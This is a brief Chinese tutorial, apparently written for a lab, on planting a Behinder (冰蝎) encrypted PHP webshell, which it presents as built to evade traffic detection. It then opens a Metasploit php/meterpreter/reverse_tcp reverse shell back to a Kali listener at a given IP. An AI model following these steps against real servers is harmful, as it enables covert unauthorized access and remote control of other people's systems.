冰蝎是动态二进制加密网站管理客户端,专门针对流量加密的webshell进行操作。为应对webshell流量特征明显的安全检测,冰蝎应运而生,以加密流量形式运行。冰蝎连接getshell方法包括:1.在phpstudy网站根目录内放入冰蝎特有PHP木马。2.通过浏览器访问木马文件地址。3.连接冰蝎客户端,保存连接。连接成功表示木马已正常工作。冰蝎getshell后,可通过以下步骤开启反弹shell:1.使用冰蝎客户端的反弹shell功能。2.输入本机Kali的IP地址,可通过运行“ip addr”命令获取。3.设置端口,随意填写。4.在Kali终端打开监听设备,运行“msfconsole”命令。5.使用“use exploit/multi/handler”命令,并设置payload为“php/meterpreter/reverse_tcp”。6.查看设置选项,确认已连接。7.设置本地主机IP地址为192.168.43.61。8.再次查看设置选项,确认主机已连接。9.执行“exploit”命令,开始监听。10.点击“给我连”,完成与主机的连接。11.在Kali终端执行监听,已成功开始监听操作。12.执行“sysinfo”命令,了解目标系统信息。至此,完成冰蝎连接木马到反弹shell拿到权限的全过程。